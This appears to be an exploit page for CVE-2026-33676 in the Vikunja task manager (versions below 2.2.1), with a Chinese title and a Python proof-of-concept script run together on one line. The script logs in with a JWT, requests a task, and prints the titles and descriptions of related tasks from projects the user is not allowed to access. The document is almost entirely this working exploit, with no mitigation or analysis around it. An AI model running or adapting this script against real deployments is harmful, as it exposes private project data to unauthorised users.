CVE-2026-33676 Vikunja越权读取漏洞

import requests # Exploit Title: Vikunja < 2.2.1 - Information Disclosure via Related Tasks # Description: Retrieve details of tasks in restricted projects via cross-project relations. TARGET_URL = "http://localhost:3456/api/v1" AUTH_TOKEN = "YOUR_JWT_TOKEN_HERE" # Obtain after login # Step 1: Fetch a task that has cross-project relations # The user needs read access to this specific task task_id = 1 headers = { "Authorization": f"Bearer {AUTH_TOKEN}", "Content-Type": "application/json" } response = requests.get(f"{TARGET_URL}/tasks/{task_id}", headers=headers) if response.status_code == 200: data = response.json() # Check the 'related_tasks' field if 'related_tasks' in data and data['related_tasks']: print("Successfully retrieved related tasks:") for task in data['related_tasks']: # This task might belong to a project the user has no access to print(f"Task ID: {task['id']}, Title: {task['title']}, Project ID: {task.get('project_id')}") print(f"Description: {task.get('description')}") else: print("No related tasks found or field not populated.") else: print(f"Failed to fetch task. Status: {response.status_code}")